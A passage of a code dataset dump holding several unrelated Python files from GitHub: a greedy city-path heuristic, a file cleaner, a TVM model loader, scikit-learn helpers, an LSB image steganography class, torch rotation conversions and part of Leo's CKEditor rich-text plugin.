 return ed\n\n\ndef get_cites(dict, search):\n\n    list_cities = []\n\n    for i in range(0, len(dict)):\n        if len(list_cities) >= search:\n            break\n        if dict[i]['Used'] <= 0:\n            list_cities.append(dict[i]['CityId'])\n\n    return list_cities\n\ndef update_cites(dict, city, verbose=False):\n\n    successful = False\n    for i in range(0, len(dict)):\n        if verbose:\n            print(\"Place:\", dict[i], \"City:\", city)\n        if int(dict[i]['CityId']) == int(city):  # Yes, that was a problem...hummm\n            row = dict[i]\n            dict[i] = {'DistF': row['DistF'], 'CityId': row['CityId'], 'Used': 1}\n            if verbose:\n                print(\"Updated:\", dict[i])\n            successful = True\n            break\n\n    if verbose:\n        print(\"sucessful:\", successful)\n\n    if successful == False:\n        fail = 'Bad City update: %i' % int(city)\n        raise Exception(fail)\n\n    return\n\ndef repeat_cites(dict, city, verbose=False):\n\n    successful = False\n    for i in range(0, len(dict)):\n        if verbose:\n            print(\"Path:\", dict[i], \"City:\", city)\n        if int(dict[i]['Path']) == int(city):  # Yes, that was a problem...hummm\n            successful = True\n            break\n\n    if verbose:\n        print(\"sucessful:\", successful)\n\n    return successful\n\n# ######################## Classes ##############################\n\nclass LoadCities:\n\n    default_file = 'cities.csv'\n    max_X = 0.0\n    max_Y = 0.0\n    focus = 1\n    North_Pole = 0\n\n    def __init__(self, focus=10):\n\n        self.focus = focus\n\n        return\n\n    def load_file(self, filename=default_file):\n\n        df_cities = self.alignnow(pd.read_csv(filename))\n\n        return df_cities\n\n    def alignnow(self, df, verbose=False):\n\n        self.max_X = df['X'].max()\n        self.max_Y = df['Y'].max()\n\n        # Is city a prime?\n        df['Prime'] = False\n        # Adjust\n        df['Prime'] = df[['CityId', 'Prime']].apply(lambda x:\n                                                    True if isprime(x['CityId']) else False, axis=1)\n        df['Loc'] = df.apply(lambda row: [row.X, row.Y], axis=1)\n\n        df['X_s'] = df['X']\n        df['Y_s'] = df['Y']\n\n        # Cool kids scale to a standard\n        sct = MaxAbsScaler()\n        scale_columns = ['X_s', 'Y_s']\n        df_s = sct.fit_transform(df[scale_columns])\n        df_s = pd.DataFrame(df_s, columns=scale_columns, index=df.index.get_values())\n        # add the scaled columns back into the dataframe\n        df[scale_columns] = df_s\n        # Now create a focus based on it.\n\n        df['X_s'] = df.apply(lambda row: int(row.X_s * 10), axis=1)\n        df['Y_s'] = df.apply(lambda row: int(row.Y_s * 10), axis=1)\n        df['Focus'] = df.apply(lambda row: (int(row.X_s) + int(row.Y_s*10)), axis=1)\n        df['Focus'] = df[['Focus']].apply(lambda x: 99 if x['Focus'] > 99 else x['Focus'], axis=1) # One edge case\n        df = df.drop(['X_s', 'Y_s'], axis=1)\n\n        df.sort_values(by=['Focus', \"CityId\"], axis=0,\n                              ascending=True, inplace=True, kind='quicksort', na_position='last')\n        dict_focus = {}\n        for i in range(0, 100):\n            search_string = 'Focus == %i' % i\n            df_focus = df.query(search_string)\n            # Decided not to copy list of cities into this: dfList = df_focus['CityId'].tolist()\n            if len(df_focus) > 0:\n                cent_X = df_focus['X'].sum() / len(df_focus)\n                cent_Y = df_focus['Y'].sum() / len(df_focus)\n            else:\n                cent_X = -1\n                cent_Y = -1\n            dict_focus[i] = {'Focus': i, 'Count': len(df_focus), 'Centroid': [cent_X, cent_Y]}\n        df = df.drop(['X', 'Y'], axis=1)\n\n        if verbose:\n            print(df)\n        df.sort_values(by=['CityId'], axis=0,\n                              ascending=True, inplace=True, kind='quicksort', na_position='last')\n        return df, dict_focus\n\n    def get_cities(self):\n        return self.cities\n\n\n    def betterpath(self, dict_cities, dict_focus, df, search_value=500, verbose=True, test=False):\n\n        dict_path = {}\n\n        North_pole = dict_cities[self.North_Pole]\n\n        dict_path[0] = {\"Path\": North_pole['CityId']}\n        dict_path[1] = {\"Path\": North_pole['CityId']}\n\n        already_done = []\n        i = dict_cities[self.North_Pole]['Focus']\n        step = 1\n        place = 1\n\n        while True:\n\n            if i>99:\n                i = 0\n            if i in already_done:\n                break\n            if step>10:\n                step = 0\n\n            if verbose:\n                print(\"Focus area =\",i)\n\n            # get all cities in Focus\n            # add used flag and sort by distance from centroid\n            search_string = 'Focus == %i' % snake(i)  # Use the snake\n            df_focus = df.query(search_string)\n            cent = [dict_focus[i]['Centroid']]\n            df_focus['DistF'] = df_focus.apply(lambda row: calced([row.Loc], cent), axis=1)\n            df_focus['Used'] = 0\n            # Create two dictionaries for prime and not prime\n            # Dictionaries are fast and pre-sorted\n            #df_prime = df_focus.query('Prime == True')\n            df_prime = df_focus.query('Prime == 1234')\n            #df_not = df_focus.query('Prime != True & CityId != 0') # Do not include Northpole again\n            df_not = df_focus.query('CityId != 0')  # Do not include Northpole again\n            df_prime = df_prime.filter(['CityId', 'DistF', 'Used'], axis=1)\n            df_prime.sort_values(by=['DistF', 'CityId'], axis=0,\n                           ascending=True, inplace=True, kind='quicksort', na_position='last')\n            dict_prime = df_prime.to_dict('records')\n            df_not = df_not.filter(['CityId', 'DistF', 'Used'], axis=1)\n            df_not.sort_values(by=['DistF', 'CityId'], axis=0,\n                           ascending=True, inplace=True, kind='quicksort', na_position='last')\n            dict_not = df_not.to_dict('records')\n\n            while True:\n\n                # handle step\n                prime = False\n                select_cities = []\n                if step == 10:\n                    prime = True\n\n                # Get cites to add to list, just the one in greedy process\n                if prime:\n                    select_cities = get_cites(dict_prime, search_value)\n                    if len(select_cities) <= 0:\n                        select_cities = get_cites(dict_not, search_value)\n                        prime = False\n                else:\n                    select_cities = get_cites(dict_not, search_value)\n                    if len(select_cities) <= 0:\n                        select_cities = get_cites(dict_prime, search_value)\n                        prime = True\n\n                if test:\n                    print(\"     Cities:\", select_cities)\n\n                if len(select_cities) <= 0:  # If we still have nothing then break.\n                    break\n\n                best_dist = sys.maxsize\n                previous_city = dict_path[place - 1]['Path']\n                best_city = sys.maxsize  # We already know we have more than one\n\n\n                # Selection logic goes here\n                for city in select_cities:\n                    # greedy without much more regard\n                    new_dist = dist_city(int(previous_city), int(city), dict_cities)\n\n                    if new_dist < best_dist:\n                        best_city = city\n                        best_dist = new_dist\n\n                if test:\n                    print(\"     Best:\", best_city)\n\n                if test:\n                    if repeat_cites(dict_path, best_city):\n                        print(\"     Ugh!\", best_city)\n                        fail = 'Repeat City %i' % int(best_city)\n                        raise Exception(fail)\n\n                dict_path[place+1] = dict_path[place]\n                dict_path[place] = {\"Path\": int(best_city)}\n\n                if test:\n                    print(\"     Added:\", dict_path[place])\n\n                if prime:\n                    update_cites(dict_prime, best_city)\n                else:\n                    update_cites(dict_not, best_city)\n\n                # Next step and next place\n                step = step + 1\n                if step > 10:\n                    step = 1\n                place = place + 1\n\n            already_done.append(i)\n            i = i + 1\n\n\n        return dict_path\n\n\n# ######################## Start up ##############################\n\n\nprint(\"Raindeer Graph\")\nprint(__version__, \" \", __copyright__, \" \", __license__)\n\nname_out = \"\"\n#name_out = input(\"What file to output (default=deerpath.csv) \")\nif name_out == \"\":\n    name_out = \"deerpath.csv\"\n\nbegin_time = process_time()\n\nprint(\"  Get City Data and align....\")\nstart_time = process_time()\n# get data and add prime column in a fine DF for easy of use\nload_cities = LoadCities()\ndf_cities, dict_focus = load_cities.load_file()\ndict_cities = df_cities.to_dict('records')\nprint(\"  Execution time:\", run_time(start_time))\n\nprint(\"  Create Path....\")\nstart_time = process_time()\n# Make path\ndict_path = load_cities.betterpath(dict_cities, dict_focus, df_cities)\n\nprint(\"  Execution time:\", run_time(start_time))\n\nprint(\"...Convert and Write...\")\nstart_time = process_time()\ndf_final = pd.DataFrame.from_dict(dict_path,orient='index')\ndf_final.to_csv(name_out, index=False)\nprint(\"...Execution time:\", run_time(start_time))\n\nprint(\" \")\nprint(\"Run time:\", run_time(begin_time))\nprint(\"...Finished...End of Line\")","repo_name":"alohawild/Raindeer","sub_path":"deerpath.py","file_name":"deerpath.py","file_ext":"py","file_size_in_byte":12094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15393283583","text":"from os import listdir\nfrom os.path import join\n\ninput_folder = \"output/level_0_old\"\noutput_folder = \"output/level_0\"\nword_to_exclude = \"sbs_with_feature_costs\"\n\nfor file_name in listdir(input_folder):\n    with open(join(output_folder, file_name), \"w\") as output_file:\n        with open(join(input_folder, file_name)) as input_file:\n            for line in input_file.readlines():\n                if not word_to_exclude in line:\n                    output_file.write(line)\n","repo_name":"alexandertornede/as_on_a_meta_level","sub_path":"meta_learning/python/output_cleaner.py","file_name":"output_cleaner.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"}
{"seq_id":"71407601381","text":"from tvm.contrib import graph_runtime\nimport tvm\nfrom tvm import relay\nfrom os import path\n\ninput_name = 'input.1'\n\ndef load_module():\n    tvm_model_dir = path.join('..', 'models', 'tvm')\n    lib = tvm.runtime.load_module(path.join(tvm_model_dir,'net.tar'))\n    graph = open(path.join(tvm_model_dir, 'net.json')).read()\n    params = relay.load_param_dict(bytearray(open(path.join(tvm_model_dir, 'net.params'), 'rb').read()))\n\n    ctx = tvm.cpu(0)\n    module = graph_runtime.create(graph, lib, ctx)\n\n    module.set_input(**params)\n    return module\n","repo_name":"majafranz/WhoVisitsMe","sub_path":"src/optimize/load_model.py","file_name":"load_model.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19770449007","text":"from pprint import PrettyPrinter \nimport pandas as pd\nfrom copy import deepcopy\nimport numpy as np\nfrom sklearn_pandas import DataFrameMapper\n\n__pp = PrettyPrinter().pprint\n\ndef print_params(estimator):\n    __pp(list(estimator.get_params()))\n\n\ndef group_low_count_cat(x, thresh, setval):\n\n    '''Group categories with counts less than {thresh},\n    and rename them to {setval}\n\n    Parameters\n    ----------\n\n    thresh: int\n        Minimum count of a low count category\n\n    setval: object\n        New value to set for the merged categories\n\n    '''\n    counts = x.value_counts()\n\n    cat_grp = counts[counts <= thresh].index.tolist()\n\n    counts = counts[::-1] \n\n    gt_thresh = counts.cumsum() >= thresh\n\n    first_occur = gt_thresh.searchsorted(True)\n\n    add_cat = gt_thresh.index[first_occur]\n\n    cat_grp = cat_grp + [add_cat]\n\n    def replace(v):\n        if v in cat_grp:\n            return setval\n        else:\n            return v\n\n    return pd.DataFrame(x.apply(replace).value_counts())\n\n\ndef gen_grid(temp_grid, step=\"\"):\n    temp_grid = deepcopy(temp_grid) # Do I need this\n    \n    est_key = [k for k in temp_grid.keys() if k.startswith('__')][0].replace('__', '')\n    if step == '':\n        main_key = est_key\n    else:\n        main_key = f'{step}__{est_key}'\n        \n    res = {}\n    res[main_key] = temp_grid.pop(f'__{est_key}')\n    res.update({f'{main_key}__{k}': v for k, v in temp_grid.items()})\n    \n    return res\n\n\ndef param_from_temp_grid(temp_grid, return_dict=False, **kwargs):\n    res = {k:gen_grid(v,**kwargs) for k, v in temp_grid.items()}\n    \n    if not return_dict:\n        return list(res.values())\n\n    return res\n\ndef get_dt_max_depth_vals(max_depth, nvals=5):\n    return np.ceil((2**np.linspace(np.log2(4), np.log2(max_depth*1.5), nvals)))\n\n\ndef clmn_trnsfrmr_to_dfmapper(clmn_trnsfrmr, **kwargs):\n    '''Converts ColumnTransformer instance to a DataFrameMapper instance\n    \n    '''\n    dfmapper_input = []\n    for (name, trnsfrmr, cols) in clmn_trnsfrmr.transformers:\n        if trnsfrmr == 'drop':\n            continue\n        elif trnsfrmr == 'passthrough':\n            trnsfrmr = None\n            \n        dfmapper_input.append((cols, trnsfrmr))\n        \n    remainder = clmn_trnsfrmr.remainder\n        \n    if remainder == 'passthrough':\n        default = None\n    elif remainder == 'drop':\n        default = False\n        \n    return DataFrameMapper(dfmapper_input, default=default, **kwargs)\n\n\nfrom ..config import get_config\n\nconfig_params = get_config()\n\ndef load_data(subset='train', return_X_y=False):\n    file = config_params[f'RAW_{subset.upper()}_DATA_FILE']\n    df = pd.read_csv(file)\n    if subset == 'train' and return_X_y:\n        dfX = df.drop(['Survived'], axis=1)\n        dfy = df.Survived\n\n        return dfX, dfy \n\n    return df\n\n\nfrom sklearn.model_selection import cross_val_score\n\n\ndef get_training_cv_score(pipe, dfX, dfy, **kwargs):\n    print(f'Training score: {pipe.score(dfX, dfy)}')\n    print(f'crossvalidation score: {cross_val_score(pipe, dfX, dfy, **kwargs).mean()}')\n\ndef get_best_param_score(search):\n    print(f'Best param: {search.best_params_}')\n    print(f'Best score: {search.best_score_}')\n\n\n\n\n\n\n\n\n\n\n","repo_name":"abhi8893/Titanic-Survival","sub_path":"src/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6488649299","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Nov 16 16:56:51 2019\n\n@author: Ankit\n\"\"\"\nimport cv2\nimport numpy as np\nimport random\nclass Stegno():\n    \n    def get_image(self, image_path):\n        img = cv2.imread(image_path, 1)\n        ri1 = np.array(img)\n        cache = [ri1.shape[0], ri1.shape[1], ri1.shape[2]]\n        ri1 = ri1.reshape(cache[0] * cache[1] * cache[2], 1)\n        ri1 = ri1.astype(int)\n        return ri1, cache\n    \n    def get_image2(self, image_path):\n        img = cv2.imread(image_path, 0)\n        ri1 = np.array(img)\n        ri1 = cv2.resize(ri1, (400, 400))\n        ri1 = ri1.reshape(400 * 400, 1)\n        ri1 = ri1.astype(int)\n        return ri1\n    \n    def image_to_binary(self, ri1):\n        ri2 = []\n        for i in range(ri1.shape[0]):\n            a = int(ri1[i])\n            ri2.append(format(a, \"b\"))\n        return ri2\n    \n    def bit(self, message):\n        m = []\n        seq = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%&abcdefghijklmnopqrstuvwxyz\"\n        key = \"\"\n        for i in range(10):\n            key = key + random.choice(seq)\n        message = key+message\n        for i in message:\n            m.append(ord(i))\n        m.append('1023')\n        m = np.array(m)\n        m = m.reshape(m.shape[0], 1)\n        m1 = []\n        for i in range(len(m)):\n            a = int(m[i])\n            m1.append(format(a, \"b\"))\n        m2 = []\n        for i in range(len(m1)):\n            a = list(m1[i])\n            c = len(a)\n            while c != 10:\n                a.insert(0, 0)\n                c += 1\n            for j in range(c):\n                m2.append(int(a[j]))    \n        return m2, key    \n  \n    def bit2(self, image2):\n        ri1 = []\n        for i in range(len(image2)):\n            a = int(image2[i])\n            ri1.append(a)\n        seq = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%&abcdefghijklmnopqrstuvwxyz\"\n        key = \"\"\n        for i in range(10):\n            key = key + random.choice(seq)\n        for i in range(len(key)):\n            ri1.insert(i, ord(key[i]))\n        ri1.append('1023')\n        ri1 = np.array(ri1)\n        ri1 = ri1.reshape(ri1.shape[0], 1)\n        m1 = []\n        for i in range(len(ri1)):\n            a = int(ri1[i])\n            m1.append(format(a, \"b\"))\n        m2 = []\n        for i in range(len(m1)):\n            a = list(m1[i])\n            c = len(a)\n            while c != 10:\n                a.insert(0, 0)\n                c += 1\n            for j in range(c):\n                m2.append(int(a[j]))    \n        return m2, key\n    \n    def modified_image(self, m2, ri2, cache):\n        l = len(m2)\n        ri3 = []\n        for i in range(len(ri2)):\n            a = ri2[i]\n            if l == 0:\n                ri3.append(a)\n            if l != 0:\n                a = list(a)\n                a[-1] = m2[i]\n                b = ''\n                for j in range(len(a)):\n                    b = b + str(a[j])            \n                ri3.append(b)\n                l -= 1\n        ri4 = []    \n        for i in range(len(ri3)):\n            a = int(ri3[i], 2)\n            ri4.append(a)\n        ri1 = []\n        for i in range(len(ri2)):\n            a = int(ri2[i], 2)\n            ri1.append(a)\n        ri1 = np.array(ri1)\n        ri4 = np.array(ri4)\n        distortion = np.sum(np.abs(ri4-ri1))\n        img1 = np.array(ri4)\n        img1 = img1.reshape(cache[0], cache[1], cache[2])\n        img1 = img1.astype(\"uint8\")\n        ri5 = cv2.resize(img1, (cache[1], cache[0]))\n        return ri5, distortion\n    \n    def retriving_data(self, ri5, entered_key):\n        ri6 = []\n        for i in range(len(ri5)):\n            a = int(ri5[i])\n            a = format(a, \"b\")\n            a = a[-1]\n            ri6.append(a)\n        ri6 = [ri6[n:n+10] for n in range(0, len(ri5), 10)]\n        ri7 = []\n        for i in range(len(ri6)):\n            a = ri6[i]\n            b = ''\n            for j in range(len(a)):\n                b = b + str(a[j])\n            if int(b, 2) == 1023:\n                break\n            ri7.append(b)\n        ri8 = []\n        for i in range(len(ri7)):\n            a = ri7[i]\n            ri8.append(chr(int(a, 2)))\n        d = ''\n        for i in range(len(ri8)):\n            d = d + str(ri8[i])\n        if d[0:10] != entered_key:\n            d = \"You have entered wrong key!\"\n        else:\n            d = d[10:]\n        return d    \n    \n    def retriving_data1(self, ri5, entered_key):\n        ri6 = []\n        for i in range(len(ri5)):\n            a = int(ri5[i])\n            a = format(a, \"b\")\n            a = a[-1]\n            ri6.append(a)\n        ri6 = [ri6[n:n+10] for n in range(0, len(ri5), 10)]\n        ri7 = []\n        for i in range(len(ri6)):\n            a = ri6[i]\n            b = ''\n            for j in range(len(a)):\n                b = b + str(a[j])\n            if int(b, 2) == 1023:\n                break\n            ri7.append(b)\n        ri8 = []\n        for i in range(len(ri7)):\n            a = ri7[i]\n            ri8.append(int(a, 2))\n        d = ''\n        for i in range(10):\n            d = d + chr(ri8[i])\n        if d != entered_key:\n            d = \"You have entered wrong key!\"\n            return d\n        else:\n            ri9 = []\n            for i in range(10, len(ri8)):\n                ri9.append(ri8[i])\n            ri9 = np.array(ri9)\n            img1 = ri9.reshape(400, 400)\n            img1 = img1.astype(\"uint8\")\n            img1 = cv2.resize(img1, (400, 400))\n            return img1\n","repo_name":"Ankitstrange/Steganography","sub_path":"Data_Secrecy.py","file_name":"Data_Secrecy.py","file_ext":"py","file_size_in_byte":5431,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"43468461281","text":"import torch\n\nEPS = 1e-8\n\n\ndef expmap2rotmat(r):\n    \"\"\"\n    :param r: Axis-angle, Nx3\n    :return: Rotation matrix, Nx3x3\n    \"\"\"\n    dev = r.device\n    assert r.shape[1] == 3\n    bs = r.shape[0]\n    theta = torch.sqrt(torch.sum(torch.pow(r, 2), 1, keepdim=True))\n    cos_theta = torch.cos(theta).unsqueeze(-1)\n    sin_theta = torch.sin(theta).unsqueeze(-1)\n    eye = torch.unsqueeze(torch.eye(3), 0).repeat(bs, 1, 1).to(dev)\n    norm_r = r / (theta + EPS)\n    r_1 = torch.unsqueeze(norm_r, 2)  # N, 3, 1\n    r_2 = torch.unsqueeze(norm_r, 1)  # N, 1, 3\n    zero_col = torch.zeros(bs, 1).to(dev)\n    skew_sym = torch.cat([zero_col, -norm_r[:, 2:3], norm_r[:, 1:2], norm_r[:, 2:3], zero_col,\n                          -norm_r[:, 0:1], -norm_r[:, 1:2], norm_r[:, 0:1], zero_col], 1)\n    skew_sym = skew_sym.contiguous().view(bs, 3, 3)\n    R = cos_theta*eye + (1-cos_theta)*torch.bmm(r_1, r_2) + sin_theta*skew_sym\n    return R\n\n\ndef rotmat2expmap(R):\n    \"\"\"\n    :param R: Rotation matrix, Nx3x3\n    :return: r: Rotation vector, Nx3\n    \"\"\"\n    assert R.shape[1] == R.shape[2] == 3\n    theta = torch.acos(torch.clamp((R[:, 0, 0] + R[:, 1, 1] + R[:, 2, 2] - 1) / 2, min=-1., max=1.)).view(-1, 1)\n    r = torch.stack((R[:, 2, 1]-R[:, 1, 2], R[:, 0, 2]-R[:, 2, 0], R[:, 1, 0]-R[:, 0, 1]), 1) / (2*torch.sin(theta))\n    r_norm = r / torch.sqrt(torch.sum(torch.pow(r, 2), 1, keepdim=True))\n    return theta * r_norm\n\n\ndef quat2expmap(q):\n    \"\"\"\n    :param q: quaternion, Nx4\n    :return: r: Axis-angle, Nx3\n    \"\"\"\n    assert q.shape[1] == 4\n    cos_theta_2 = torch.clamp(q[:, 0: 1], min=-1., max=1.)\n    theta = torch.acos(cos_theta_2)*2\n    sin_theta_2 = torch.sqrt(1-torch.pow(cos_theta_2, 2))\n    r = theta * q[:, 1:4] / (sin_theta_2 + EPS)\n    return r\n\n\ndef expmap2quat(r):\n    \"\"\"\n    :param r: Axis-angle, Nx3\n    :return: q: quaternion, Nx4\n        \"\"\"\n    assert r.shape[1] == 3\n    theta = torch.sqrt(torch.sum(torch.pow(r, 2), 1, keepdim=True))\n    unit_r = r / theta\n    theta_2 = theta / 2.\n    cos_theta_2 = torch.cos(theta_2)\n    sin_theta_2 = torch.sin(theta_2)\n    q = torch.cat((cos_theta_2, unit_r*sin_theta_2), 1)\n    return q\n","repo_name":"zycliao/rotation-utils","sub_path":"pytch/conversion.py","file_name":"conversion.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"8156282431","text":"#@+leo-ver=5-thin\n#@+node:tbrown.20130813134319.11942: * @file ../plugins/richtext.py\n#@+<< docstring >>\n#@+node:tbrown.20130813134319.14333: ** << docstring >> (richtext.py)\n\"\"\"\nrichtext.py - Rich text editing\n===============================\n\nThis plugin allows you to use CKEditor__ to edit rich text\nin Leo.  Text is stored as HTML in Leo nodes.\n\n__ http://ckeditor.com/\n\n``richtext.py`` provides these ``Alt-X`` commands (also available from\nPlugins -> richtext menu):\n\n  cke-text-close\n    Close the rich text editor, unhide the regular editor.\n  cke-text-open\n    Open the rich text editor, hide the regular editor.\n  cke-text-switch\n    Switch between regular and rich text editor.\n  cke-text-toggle-autosave\n    Toggle autosaving of changes when you leave a node.\n    Be careful not to convert plain text (e.g. source code) to rich\n    text unintentionally.  As long as you make no edits, the original\n    text will not be changed.\n\nUnless autosaving is enabled, you must confirm saving of edits\neach time you edit a node with the rich text editor.\n\n``@rich`` in the headline or first few lines (1000 characters) of a node or its\nancestors will automatically open the rich text editor. ``@norich`` cancels this\naction.  Manually opened editors are not affected.\n\n``richtext.py`` uses these ``@settings``:\n\n  @bool richtext_cke_autosave = False\n    Set this to True for rich text edits to be saved automatically.\n\n    *BE CAREFUL* - plain-text nodes will be converted to rich text\n    without confirmation if you edit them in rich text mode when\n    this is True.\n\n  @data richtext_cke_config Configuration info. for CKEditor, see\n    http://docs.ckeditor.com/#!/guide/dev_configuration the content of this node\n    is the javascript object passed to ``CKEDITOR.replace()`` as it's second\n    argument. The version supplied in LeoSettings.leo sets up a sensible\n    toolbar. To enable *all* CKEditor toolbar features copy this setting to\n    myLeoSettings.leo and remove the default content, i.e. make this node blank,\n    then CKEditor will generate a toolbar with all available features.\n\nTo make a button to toggle the editor on and off, use::\n\n    @button rich\n      c.doCommandByName('cke-text-switch')\n\n\"\"\"\n#@-<< docstring >>\n#@+<< imports >>\n#@+node:tbrown.20130813134319.14335: ** << imports >> (richtext.py)\nimport time\nfrom urllib.parse import unquote\nfrom leo.core import leoGlobals as g\nfrom leo.core.leoQt import QtCore, QtWidgets, QtWebKit, QtWebKitWidgets\n#\n# Fail fast, right after all imports.\ng.assertUi('qt')  # May raise g.UiTypeException, caught by the plugins manager.\n#\n# Alias.\nreal_webkit = QtWebKit and 'engine' not in g.os_path_basename(QtWebKit.__file__).lower()\n#@-<< imports >>\n#@+others\n#@+node:tbrown.20130813134319.14337: ** init (richtext.py)\ndef init():\n    \"\"\"Return True if the plugin has loaded successfully.\"\"\"\n    if not QtWebKit:\n        return False\n    name = g.app.gui.guiName()\n    ok = name == 'qt'\n    if ok:\n        g.registerHandler('after-create-leo-frame', onCreate)\n        g.registerHandler('select3', at_rich_check)\n        g.plugin_signon(__name__)\n    elif name != 'nullGui':\n        print('richtext.py plugin not loading because gui is not Qt')\n    return ok\n#@+node:tbrown.20130813134319.5691: ** class CKEEditor\nclass CKEEditor(QtWidgets.QWidget):  # type:ignore\n    #@+others\n    #@+node:tbrown.20130813134319.7225: *3* __init__ & reloadSettings (CKEEditor)\n    def __init__(self, *args, **kwargs):\n\n        self.c = kwargs['c']\n        del kwargs['c']\n        super().__init__(*args, **kwargs)\n        # were we opened by an @ rich node? Calling code will set\n        self.at_rich = False\n        # are we being closed by leaving an @ rich node? Calling code will set\n        self.at_rich_close = False\n        # read settings.\n        self.reloadSettings()\n        # load HTML template\n        template_path = g.os_path_join(g.computeLeoDir(), 'plugins', 'cke_template.html')\n        self.template = open(template_path).read()\n        path = g.os_path_join(g.computeLeoDir(), 'external', 'ckeditor')\n        self.template = self.template.replace(\n            '[CKEDITOR]', QtCore.QUrl.fromLocalFile(path).toString())\n        # make widget containing QWebView\n        self.setLayout(QtWidgets.QVBoxLayout())\n        self.layout().setSpacing(0)\n        self.layout().setContentsMargins(0, 0, 0, 0)\n        # enable inspector, if this really is QtWebKit\n        if real_webkit:\n            QtWebKit.QWebSettings.globalSettings().setAttribute(\n                QtWebKit.QWebSettings.DeveloperExtrasEnabled, True)\n        self.webview = QtWebKitWidgets.QWebView()\n        self.layout().addWidget(self.webview)\n        g.registerHandler('select3', self.select_node)\n        g.registerHandler('unselect1', self.unselect_node)\n        # load current node\n        self.select_node('', {'c': self.c, 'new_p': self.c.p})\n\n    def reloadSettings(self):\n        c = self.c\n        c.registerReloadSettings(self)\n        # read autosave preference\n        if not hasattr(self.c, '_ckeeditor_autosave'):\n            auto = self.c.config.getBool(\"richtext-cke-autosave\") or False\n            self.c._ckeeditor_autosave = auto\n            if auto:\n                g.es(\"NOTE: automatic saving of rich text edits\")\n        # load config\n        self.config = self.c.config.getData(\"richtext_cke_config\")\n        if self.config:\n            self.config = '\\n'.join(self.config).strip()\n    #@+node:tbrown.20130813134319.7226: *3* select_node\n    def select_node(self, tag, kwargs):\n        c = kwargs['c']\n        if c != self.c:\n            return\n\n        p = kwargs['new_p']\n\n        self.v = p.v  # to ensure unselect_node is working on the right node\n        # currently (20130814) insert doesn't trigger unselect/select, but\n        # even if it did, this would be safest\n\n        data = self.template\n        if p.b.startswith('<'):  # already rich text, probably\n            content = p.b\n            self.was_rich = True\n        else:\n            self.was_rich = p.b.strip() == ''\n            # put anything except whitespace in a <pre/>\n            content = \"<pre>%s</pre>\" % p.b if not self.was_rich else ''\n\n        data = data.replace('[CONTENT]', content)\n\n        # replace textarea with CKEditor, with or without config.\n        if self.config:\n            data = data.replace('[CONFIG]', ', ' + self.config)\n        else:\n            data = data.replace('[CONFIG]', '')\n\n        # try and make the path for URL evaluation relative to the node's path\n        aList = g.get_directives_dict_list(p)\n        path = c.scanAtPathDirectives(aList)\n        if p.h.startswith('@'):  # see if it's a @<file> node of some sort\n            nodepath = p.h.split(None, 1)[-1]\n            nodepath = g.os_path_join(path, nodepath)\n            if not g.os_path_isdir(nodepath):  # remove filename\n                nodepath = g.os_path_dirname(nodepath)\n            if g.os_path_isdir(nodepath):  # append if it's a directory\n                path = nodepath\n\n        self.webview.setHtml(data, QtCore.QUrl.fromLocalFile(path + \"/\"))\n    #@+node:tbrown.20130813134319.7228: *3* unselect_node\n    def unselect_node(self, tag, kwargs):\n\n        c = kwargs['c']\n        if c != self.c:\n            return None\n        # read initial content and request and wait for final content\n        frame = self.webview.page().mainFrame()\n        ele = frame.findFirstElement(\"#initial\")\n        text = str(ele.toPlainText()).strip()\n        if text == '[empty]':\n            return None  # no edit\n        frame.evaluateJavaScript('save_final();')\n        ele = frame.findFirstElement(\"#final\")\n        for attempt in range(10):  # wait for up to 1 second\n            new_text = str(ele.toPlainText()).strip()\n            if new_text == '[empty]':\n                time.sleep(0.1)\n                continue\n            break\n        if new_text == '[empty]':\n            print(\"Didn't get new text\")\n            return None\n        text = unquote(str(text))\n        new_text = unquote(str(new_text))\n        if new_text != text:\n            if self.c._ckeeditor_autosave:\n                ans = 'yes'\n            else:\n                text = \"Save edits?\"\n                if not self.was_rich:\n                    text += \" *converting plain text to rich*\"\n                ans = g.app.gui.runAskYesNoCancelDialog(\n                    self.c,\n                    \"Save edits?\",\n                    text\n                )\n            if ans == 'yes':\n                c.vnode2position(self.v).b = new_text\n                c.redraw()  # but node has content marker still doesn't appear?\n            elif ans == 'cancel':\n                return 'STOP'\n            else:\n                pass  # discard edits\n        return None\n    #@+node:tbrown.20130813134319.7229: *3* close\n    def close(self):\n        if self.c and not self.at_rich_close:\n            # save changes?\n            self.unselect_node('', {'c': self.c, 'old_p': self.c.p})\n        self.c = None\n        g.unregisterHandler('select3', self.select_node)\n        g.unregisterHandler('unselect1', self.unselect_node)\n        return QtWidgets.QWidget.close(self)\n    #@-others\n#@+node:tbrown.20130813134319.5694: ** class CKEPaneProvider\nclass CKEPaneProvider:\n    ns_id = '_add_cke_pane'\n\n    def __init__(self, c):\n        self.c = c\n        # Careful: we may be unit testing.\n        if hasattr(c, 'free_layout'):\n            splitter = c.free_layout.get_top_splitter()\n            if splitter:\n                splitter.register_provider(self)\n\n    def ns_provides(self):\n        return [('Rich text CKE editor', self.ns_id)]\n\n    def ns_provide(self, id_):\n        if id_ == self.ns_id:\n            w = CKEEditor(c=self.c)\n            return w\n        return None\n\n    def ns_provider_id(self):\n        # used by register_provider() to unregister previously registered\n        # providers of the same service\n        return self.ns_id\n#@+node:tbrown.20130813134319.14339: ** onCreate\ndef onCreate(tag, key):\n\n    c = key.get('c')\n\n    CKEPaneProvider(c)\n#@+node:tbrown.20130814090427.22458: ** at_rich_check\ndef at_rich_check(tag, key):\n\n    p = key.get('new_p')\n\n    do = 'close'\n    for nd in p.self_and_parents():\n        if '@norich' in nd.h or '@norich' in nd.b[:1000]:\n            do = 'close'\n            break\n        if '@rich' in nd.h or '@rich' in nd.b[:1000]:\n            do = 'open'\n            